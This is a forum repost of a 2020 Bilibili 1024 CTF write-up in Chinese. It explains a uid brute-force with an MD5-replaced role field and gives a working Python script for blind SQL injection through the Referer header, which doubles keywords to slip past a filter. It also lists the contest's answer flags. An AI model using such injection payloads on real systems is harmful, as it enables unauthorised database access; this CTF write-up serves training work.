搜索

[715] 2020-10-26_BilibiliCTF1024哔哩哔哩干杯（二）

文档创建者：s7ckTeam
浏览次数：28
最后更新：2025-01-16
2020-10-26_BilibiliCTF1024哔哩哔哩干杯（二） B i l i b i l i   C T F 1 0 2 4   哔 哩 哔 哩 干 杯 （ 二 ） 原 创   黑 子 黑   b g b i n g 安 全   2 0 2 0 - 1 0 - 2 6 答 题 地 址 ： h t t p : / / 4 5 . 1 1 3 . 2 0 1 . 3 6 / s t a r t . h t m l 提 交 地 址 ： h t t p s : / / s e c u r i t y . b i l i b i l i . c o m / s e c 1 0 2 4 / 第 五 题 ： A d m i n i s t r a t o r   m d 5 加 密 替 换 r o l e ， 外 加 暴 力 破 解 u i d 因 为 每 个 人 的 u i d 是 不 一 样 ， 所 以 采 用 暴 力 破 解 u i d ， 我 是 做 了 一 个 4 位 数 的 字 典 ， 替 换 了 后 四 位 ， 原 u i d ： 1 0 0 3 3 6 8 8 9 ， 替 换 后 面 的 6 8 8 9 。 最 后 成 功 破 解 出 来
第 六 题 ： 思 路 如 下 ， 原 文 在 g i t h u b 上 ， h t t p s : / / g i t h u b . c o m / i n t e r e s t i n g - 1 0 2 4 / e n d / i s s u e s / 2 8 3 只 找 到 r e f e r e r 注 入 的 我 只 找 出 了 数 据 库 后 端 是   M y S Q L ， 但 是 跑 不 出 库 名 受 大 佬 点 破   原 来 是 过 滤 了   、 等 下 面 放 出 大 佬 的 j i o 本 i m p o r t   r e q u e s t s u r l = ' h t t p : / / 1 2 0 . 9 2 . 1 5 1 . 1 8 9 / b l o g / s i n g l e . p h p ? i d = 1 ' f l a g = ' ' f o r   i   i n   r a n g e ( 1 , 1 0 0 ) :         l e f t = 3 3         r i g h t = 1 2 8         w h i l e   r i g h t - l e f t ! = 1 :                 m i d = ( l e f t + r i g h t ) / 2                 p a y l o a d = " 0 1 2 3 ' ^ i f ( s u b s t r ( ( s e l s e l e c t e c t   f l a g   f r o m   f l a g ) , { i } , 1 ) > b i n a r y   { m i d } , ( s e l e c s e l e c t t   1 + ~ 0 ) , 0 )   u n u n i o n i o n   s e l e c s e l e c t t   1 , 2 # "                 h e a d e r s = {                 ' R e f e r e r ' : p a y l o a d                 }                 r = r e q u e s t s . g e t ( u r l = u r l , h e a d e r s = h e a d e r s )                 i f   l e n ( r . t e x t )   = =   5 5 9 6 :                         l e f t = m i d                 e l s e :                         r i g h t = m i d         f l a g + = c h r ( r i g h t ) p r i n t   ( f l a g ) s e l e c t
最 后 得 出 f l a g ： a 2 b 0 8 8 3 c - f f b b 8 d 1 7 - 9 a 3 b b f 1 c - e d 6 0 0 c 8 0 所 以 到 现 在 你 已 经 可 以 得 8 0 分 。 第 一 题 f l a g ： 8 b a 8 b c 3 a - 1 e f b d a 4 d - 9 d 4 7 2 3 3 a - 5 4 c d e f 0 a 第 二 题 f l a g ： c 2 a c e 7 7 9 - f 5 5 8 d 6 e 3 - 9 c 2 c 1 4 f 5 - 4 a 1 a 4 f d f 第 三 题 f l a g ： c 3 6 9 b 9 8 8 - 7 5 3 c 3 e 4 f - 6 7 9 3 6 6 6 1 - 4 c 8 9 6 4 4 1 第 四 题 f l a g ： 5 d 7 5 9 9 c 2 - 9 a 1 1 2 f 9 a - 1 5 4 3 c d 3 d - d 9 9 1 5 c a c 第 五 题 f l a g ： 2 5 7 b 8 4 1 7 - 7 1 9 c 2 d d 5 - 9 b 9 2 f b e 0 - 2 d 6 5 5 0 0 c 第 六 题 f l a g ： a 2 b 0 8 8 3 c - f f b b 8 d 1 7 - 9 a 3 b b f 1 c - e d 6 0 0 c 8 0 第 八 题 f l a g ： d 4 3 6 b 9 8 2 - 2 b 8 1 a a 5 4 - 4 9 a 8 d 2 d b - 8 7 a b 9 5 1 a 第 十 题 f l a g ： 2 e b d 3 b 0 8 - 4 7 f f c 4 7 8 - b 4 9 a 5 f 9 d - f 6 0 9 9 d 6 5 不 过 刚 才 看 了 一 下 榜 单 上 ， 已 经 都 是 9 0 分 了 。 。 。 。 。 。 还 能 说 啥 ， 加 油 吧 ， 孩 子 ！ 剩 下 的 第 七 ， 九 两 道 题 靠 你 了
C T F   （ 夺 旗 赛 ） C T F （ C a p t u r e   T h e   F l a g ） 中 文 一 般 译 作 夺 旗 赛 ， 在 网 络 安 全 领 域 中 指 的 是 网 络 安 全 技 术 人 员 之 间 进 行 技 术 竞 技 的 一 种 比 赛 形 式 。 C T F 起 源 于 1 9 9 6 年 D E F C O N 全 球 黑 客 大 会 ， 以 代 替 之 前 黑 客 们 通 过 互 相 发 起 真 实 攻 击 进 行 技 术 比 拼 的 方 式 。 发 展 至 今 ， 已 经 成 为 全 球 范 围 网 络 安 全 圈 流 行 的 竞 赛 形 式 ， 2 0 1 3 年 全 球 举 办 了 超 过 五 十 场 国 际 性 C T F 赛 事 。 而 D E F C O N 作 为 C T F 赛 制 的 发 源 地 ， D E F C O N   C T F 也 成 为 了 目 前 全 球 最 高 技 术 水 平 和 影 响 力 的 C T F 竞 赛 ， 类 似 于 C T F 赛 场 中 的 “ 世 界 杯 ”   。 论 坛 地 址 ： h t t p s : / / b g b i n g . c o m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理